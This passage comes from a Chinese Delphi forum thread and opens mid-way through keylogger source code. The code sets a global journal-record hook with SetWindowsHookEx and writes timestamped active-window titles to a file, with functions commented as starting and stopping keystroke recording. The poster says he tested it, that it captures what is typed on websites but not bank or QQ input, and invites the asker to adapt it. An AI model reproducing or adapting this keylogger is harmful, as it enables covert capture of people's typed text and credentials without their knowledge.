(pEvt.message=WM_LBUTTONDOWN) or (pEvt.message=WM_RBUTTONDOWN) then<br>&nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hFocus:=GetActiveWindow;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (G_lastFocus&lt;&gt;hFocus) then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;G_lastFocus:=hFocus;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GetWindowText(hFocus,szTitle,256);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pt:=Now;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time1:=FormatDateTime('(yyyy-mm-dd hh:mm:ss:zzz) &nbsp; &nbsp; &nbsp;',pt);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time1:=time1+' &nbsp; &nbsp;'+szTitle;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Writeln(Stream,Time1);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; &nbsp;CloseFile(Stream);<br>&nbsp; &nbsp; &nbsp; &nbsp;Result:=1;<br>&nbsp; &nbsp; &nbsp;end;<br>end;<br><br>function EnableHotKeyHooK:BOOL;export; &nbsp; &nbsp;// 启动按键记录<br>begin<br>&nbsp; &nbsp; Result:=False;<br>&nbsp; &nbsp; G_lastFocus:=0;<br>&nbsp; &nbsp; if hNextHookProc&lt;&gt;0 then exit;<br>&nbsp; &nbsp; &nbsp; &nbsp;hNextHookProc:=SetWindowsHookEx(WH_JOURNALRECORD,KeyBHkHandle,HInstance,0);<br>&nbsp; &nbsp; Result:=hNextHookProc&lt;&gt;0;<br>&nbsp; &nbsp;//<br>end;<br><br>function DisableHotKeyHook:BOOL;export; &nbsp; &nbsp;// 停止按键记录<br>begin<br>&nbsp; &nbsp; &nbsp;if hNextHookProc&lt;&gt;0 then<br>&nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp;UnhookWindowsHookEx(hNextHookProc);<br>&nbsp; &nbsp; &nbsp; &nbsp;hNextHookProc:=0;<br>&nbsp; &nbsp; &nbsp; &nbsp;MessageBeep(0);<br>&nbsp; &nbsp; &nbsp; &nbsp;MessageBeep(0);<br>&nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp;Result:=hNextHookProc=0;<br>&nbsp; &nbsp;//<br>end;<br><br>procedure HotKeyHookExit;far;<br>begin<br>&nbsp; &nbsp; &nbsp;if hNextHookProc&lt;&gt;0 then<br>&nbsp; &nbsp; &nbsp;DisableHotKeyHook;<br>&nbsp; &nbsp; &nbsp;ExitProc:=procSaveExit;<br>&nbsp; &nbsp;//<br>end;<br><br>end.<br><br>这个我自己试过,可以记录按键信息的,网站上输入的信息都可以记录,不过只对没有限制的像银行的,QQ的是记录不了。。用做你自己的程序是可以的,你再根据你自己的需要改下。<br>应该适合你用了,你自己在记录后,启动的时候去提取下,然后再根据你的需要捕捉按键和设置的一样就行了
 
看看我在这个贴子的讨论,对你会有帮助的<br>http://www.delphibbs.com/delphibbs/dispq.asp?lid=3928300
 
后退
顶部